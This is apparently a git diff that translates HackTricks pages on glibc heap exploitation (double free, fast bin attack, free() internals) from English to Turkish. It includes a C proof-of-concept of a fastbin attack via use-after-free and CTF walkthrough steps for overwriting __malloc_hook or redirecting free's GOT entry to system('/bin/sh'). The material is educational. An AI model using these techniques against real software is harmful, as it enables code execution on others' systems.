 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+Yeniden tahsislerden sonra:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 
-## Examples +## Örnekler - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. +- Sadece `0x70` boyutunun dışında Fast-Bin boyutunda parçalar tahsis edebiliriz, bu da olağan `__malloc_hook` üzerine yazmayı engeller. +- Bunun yerine, Fast Bin dup için hedef olarak `0x56` ile başlayan PIE adreslerini kullanıyoruz (1/2 şansı). +- PIE adreslerinin saklandığı yerlerden biri `main_arena` içindedir, bu Glibc içindedir ve `__malloc_hook`'a yakındır. +- Orada bir parça tahsis etmek için `main_arena`'nın belirli bir ofsetini hedef alıyoruz ve `__malloc_hook`'a ulaşana kadar parçalar tahsis etmeye devam ediyoruz. - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - - We allocate three chunks of size `0x110` (`A`, `B`, `C`) - - We free `B` - - We free `A` and allocate again to use the null-byte overflow - - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) +- Tcache kutularını ve bir null-byte taşmasını kullanarak, bir double-free durumu elde edebiliriz: +- `0x110` boyutunda üç parça tahsis ediyoruz (`A`, `B`, `C`) +- `B`'yi serbest bırakıyoruz +- `A`'yı serbest bırakıyoruz ve null-byte taşmasını kullanmak için tekrar tahsis ediyoruz +- Artık `B`'nin boyut alanı `0x100`, `0x111` yerine, bu yüzden tekrar serbest bırakabiliriz +- Aynı adrese işaret eden `0x110` boyutunda bir Tcache-bin ve `0x100` boyutunda bir Tcache-binimiz var. Yani bir double free durumumuz var. +- [Tcache poisoning](tcache-bin-attack.md) kullanarak double free'i değerlendiriyoruz. -## References +## Referanslar - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index c36c675de..9265b9cd2 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -2,18 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -For more information about what is a fast bin check this page: +Fast bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. - -As summary: +Fast bin tek bağlı bir liste olduğu için, diğer binlere göre çok daha az koruma vardır ve sadece **serbest bırakılmış bir fast bin** parçasındaki bir adresi **değiştirmek**, **herhangi bir bellek adresinde daha sonra bir parça tahsis etmek** için yeterlidir. +Özetle: ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); @@ -29,9 +28,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +Tam bir örneği [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) adresindeki çok iyi açıklanmış bir kodda bulabilirsiniz: ```c #include #include @@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> Eğer global değişken **`global_max_fast`**'ın değerini büyük bir sayı ile geçersiz kılmak mümkünse, bu, daha büyük boyutlarda hızlı bin parçaları oluşturmayı sağlar ve potansiyel olarak daha önce mümkün olmayan senaryolarda hızlı bin saldırıları gerçekleştirmeye olanak tanır. Bu durum, [büyük bin saldırısı](large-bin-attack.md) ve [sıralanmamış bin saldırısı](unsorted-bin-attack.md) bağlamında faydalıdır. -## Examples +## Örnekler - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- Parçaları ayırmak, serbest bırakmak, içeriklerini okumak ve doldurmak (bir taşma açığı ile) mümkündür. +- **Bilgi sızıntısı için parçaları birleştirme**: Teknik, temelde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak, böylece bir önceki parçanın daha büyük bir parçanın içine yerleştirilmesini sağlamaktır. Böylece, başka bir parçayı içeren daha büyük bir parça ayırırken, verilerini yazdırmak ve libc'ye bir adres sızdırmak mümkündür (`main_arena+88`). +- **malloc hook'unu geçersiz kılma**: Bunun için, önceki örtüşen durumu kötüye kullanarak, aynı belleğe işaret eden 2 parça elde etmek mümkündü. Bu nedenle, her ikisini de serbest bırakmak (korumaları aşmak için araya başka bir parçayı serbest bırakarak) hızlı bin içinde aynı parçanın 2 kez bulunmasını sağladı. Ardından, tekrar ayırmak, bir sonraki parçanın adresini `__malloc_hook`'tan biraz önce işaret edecek şekilde geçersiz kılmak (yani malloc'un serbest boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir geçiş), tekrar ayırmak ve ardından malloc hook'larına bir adres alacak başka bir parça ayırmak mümkündü.\ +Sonunda oraya bir **one gadget** yazıldı. - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- Bir yığın taşması ve serbest bırakıldıktan sonra kullanma ve çift serbest bırakma vardır çünkü bir parça serbest bırakıldığında, işaretçileri yeniden kullanmak ve yeniden serbest bırakmak mümkündür. +- **Libc bilgi sızıntısı**: Bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına işaret eden bir işaretçi alacaklardır. Serbest bırakılan işaretçileri yeniden kullanabildiğiniz için, bu adresi okuyun. +- **Hızlı bin saldırısı**: Tüm tahsisat işaretçileri bir dizi içinde saklanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabiliriz ve sonuncusunda bu işaretçiler dizisine işaret eden adresi geçersiz kılabiliriz. Ardından, aynı boyutta birkaç parça ayırdığımızda önce geçerli olanı ve ardından işaretçi dizisini içeren sahte olanı alacağız. Artık bu tahsisat işaretçilerini geçersiz kılabiliriz, böylece `free`'nin GOT adresi `system`'e işaret eder ve ardından `"/bin/sh"`'yi parça 1'e yazarak `free(chunk1)` çağrısı yaparız, bu da `system("/bin/sh")`'yi çalıştırır. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Sıralanmamış bin içinde parçaları birleştirmek için bir bayt taşmasını kötüye kullanarak libc bilgi sızıntısı elde etme ve ardından malloc hook'unu bir one gadget adresi ile geçersiz kılmak için hızlı bin saldırısı gerçekleştirme örneği. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- Bir bilgi sızıntısından sonra, sıralanmamış bin ile bir UAF kullanarak bir libc adresi ve bir PIE adresi sızdırıldı, bu CTF'nin istismarı, kontrol edilen parçaların işaretçilerine sahip olduğu bir yerde bir parça ayırmak için hızlı bin saldırısını kullandı, böylece belirli işaretçileri geçersiz kılmak ve GOT'a bir one gadget yazmak mümkün oldu. +- Sıralanmamış bin saldırısı aracılığıyla kötüye kullanılan bir Hızlı Bin saldırısı bulabilirsiniz: +- Hızlı bin saldırıları gerçekleştirmeden önce libc/yığın adreslerini sızdırmak için serbest listeyi kötüye kullanmanın yaygın olduğunu unutmayın (gerekirse). - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- Sadece `0x100`'den büyük boyutlarda parçalar ayırabiliriz. +- Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'ı geçersiz kılın (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 bit değiştirmemiz gerekir, ancak 16 bit değiştirmemiz gerekir). +- Hızlı Bin saldırısı, bir global parça dizisini değiştirmek için. Bu, GOT'u değiştirme ve bazı işlevleri `system`'e işaret etme yeteneği veren keyfi bir okuma/yazma ilkesidir. {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..8e9544fbc 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,4 +1,4 @@ -# Heap Memory Functions +# Yığın Bellek Fonksiyonları {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..8c4efbd37 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -2,95 +2,92 @@ {{#include ../../../banners/hacktricks-training.md}} -## Free Order Summary +## Ücretsiz Sipariş Özeti -(No checks are explained in this summary and some case have been omitted for brevity) +(Bu özet içinde kontroller açıklanmamıştır ve bazı durumlar kısalık için atlanmıştır) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. Eğer adres null ise hiçbir şey yapmayın +2. Eğer parça mmaped ise, mummap yapın ve bitirin +3. `_int_free` çağırın: + 1. Mümkünse, parçayı tcache'e ekleyin + 2. Mümkünse, parçayı fast bin'e ekleyin + 3. Gerekirse parçayı birleştirmek için `_int_free_merge_chunk` çağırın ve bunu sıralanmamış listeye ekleyin ## \_\_libc_free -`Free` calls `__libc_free`. +`Free` `__libc_free` çağırır. -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- Geçilen adres Null (0) ise hiçbir şey yapmayın. +- Pointer etiketini kontrol edin +- Eğer parça `mmaped` ise, `mummap` yapın ve hepsi bu +- Değilse, rengi ekleyin ve üzerinde `_int_free` çağırın
-__lib_free code - +__lib_free kodu ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
## \_int_free -### \_int_free start +### \_int_free başlangıcı -It starts with some checks making sure: +Bazı kontrollerle başlar, bunlar: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- **pointer**'ın **hizalanmış** olduğundan emin olmak, aksi takdirde hata `free(): invalid pointer` tetiklenir +- **boyut**un minimumdan az olmadığından ve **boyut**un da **hizalanmış** olduğundan emin olmak, aksi takdirde hata: `free(): invalid size` tetiklenir
-_int_free start - +_int_free başlangıcı ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +Öncelikle bu parçayı ilgili tcache'de tahsis etmeye çalışacaktır. Ancak, bazı kontroller önceden yapılır. Serbest bırakılan parçanın aynı indeksindeki tcache'deki tüm parçaları döngüye alır ve: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- Eğer `mp_.tcache_count`'dan daha fazla giriş varsa: `free(): tcache'de çok fazla parça tespit edildi` +- Eğer giriş hizalanmamışsa: `free(): tcache 2'de hizalanmamış parça tespit edildi` +- Eğer serbest bırakılan parça zaten serbest bırakıldıysa ve tcache'de parça olarak mevcutsa: `free(): tcache 2'de çift serbest bırakma tespit edildi` -If all goes well, the chunk is added to the tcache and the functions returns. +Her şey yolunda giderse, parça tcache'e eklenir ve fonksiyon geri döner.
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
### \_int_free fast bin -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +Öncelikle boyutun fast bin için uygun olup olmadığını kontrol edin ve onu üst chunk'a yakın bir şekilde ayarlamanın mümkün olup olmadığını kontrol edin. -Then, add the freed chunk at the top of the fast bin while performing some checks: +Ardından, bazı kontroller yaparken serbest bırakılan chunk'ı fast bin'in en üstüne ekleyin: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- Eğer chunk'ın boyutu geçersizse (çok büyük veya küçük) tetikleyin: `free(): invalid next size (fast)` +- Eğer eklenen chunk zaten fast bin'in en üstündeyse: `double free or corruption (fasttop)` +- Eğer en üstteki chunk'ın boyutu, eklediğimiz chunk'ın boyutundan farklıysa: `invalid fastbin entry (free)`
